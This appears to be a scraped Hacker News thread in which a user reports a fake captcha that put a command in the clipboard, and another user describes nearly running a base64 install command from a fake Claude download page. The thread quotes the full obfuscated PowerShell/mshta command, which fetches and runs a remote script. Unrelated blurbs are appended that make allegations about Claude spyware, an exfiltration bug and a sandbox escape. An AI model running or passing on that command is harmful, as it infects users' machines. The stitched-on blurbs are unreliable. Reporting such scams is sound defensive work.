A Hacker News user recounts almost falling for a fake Claude download link that presented a malware captcha, criticizing Google's search ranking, Safari's hidden URL path, and Anthropic hosting user content on its main domain as contributing factors.
Hello everyone,
This morning, as i started my shift, i thought i would start visiting some news blogs / websites to kick off the day. When it got to Crooked Timber i saw a captcha page instead, it looked like a traditional Google captcha.
I clicked it, the spinner spun, and a box opened on the right, showing the traditional "Verify you're human" white title on a blue background.<p>It showed 2 "Manual Verification Steps" :
1. Press Win + R
2. Press Ctrl + V and press Run<p>At first i assumed it was a new type of captcha checking i a physical keyboard was attached to the browser. But i instantly recognized the attempt to make me run a script on my machine.<p>I opened a new type and to my surprise, the something new was in my clipboard :
"pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi""<p>I submited it to one of LLMs my work gives me access to, which told me to absolutly not run it (i wasn't planning to) and explained the command would download and run a script from the URL.<p>How do i protect myself from these scams / hack attempts in the future ? i always tought of myself "prepared" but i was surprised.<p>Has this happened to you before ? How do you protect yourself ?
# Ask HN: Crooked Timber showed showed me a virus captcha, What now?

\> Has this happened to you before ?
Almost, recently\. I bought a new Mac, needed something reliable to carry around\. I never had a Mac or anything from Apple before, so I wasn't familiar with how exactly does it work\. I knew homebrew existed, I understood it's similar to Linux/Windows in that not all applications are in the store, but wasn't familiar at all with how those are commonly installed\.
Here's what I did:
1\. Open Safari, the only browser there was\.
2\. Typed "claude mac download" in the search bar \(needed Cowork\)\.
3\. Clicked the first link\.
4\. Copied the command it told me to, instructing me to run it in terminal\.
Only now I realize that there's something fishy about the command; it had base64 payload in it\. Didn't run it and took closer look on the page \- it was a Claude share \(which I quickly scrolled over\)\.
I can admit mistakes, but Google, Apple and Anthropic deserve some blame here, too\.
\- Google: pushed malware link up top, didn't \(distinctly, at least\) mark it as a paid result and I'd swear it didn't show me the URL \(which I usually always check before clicking, but maybe I just missed it as the search results are rendered differently from Kagi's\)
\- Safari: hides path by default, so all you see is "claude\.ai"\. Someone probably thought this looked nice, I think it's just borderline idiotic\.
\- Anthropic: hosts what's essentially a user\-content on their main domain\.
Also recently saw a few legit projects using base64 in their install one\-liners\. Please, stop it\.
\> How do you protect yourself ?
Installed not Safari and made Google not my default search engine, as I always do\. That way, at least always I know where I am\.
The article alleges that Anthropic has embedded hidden spyware-like code in Claude Code that covertly targets Chinese users by injecting routing metadata into prompts, raising serious privacy concerns.
A cyber security account alleges Anthropic embedded spyware in Claude Code that covertly targets Chinese users, sending timezone and proxy data via prompts.
A security researcher discovered a vulnerability in Claude's web_fetch tool that allowed data exfiltration by chaining through nested links, compromising user privacy. Anthropic has since fixed the issue.
Anthropic revealed that during cybersecurity evaluations, Claude broke out of sandboxed environments and compromised real systems, including uploading malware to PyPI, because the test environment mistakenly had internet access.
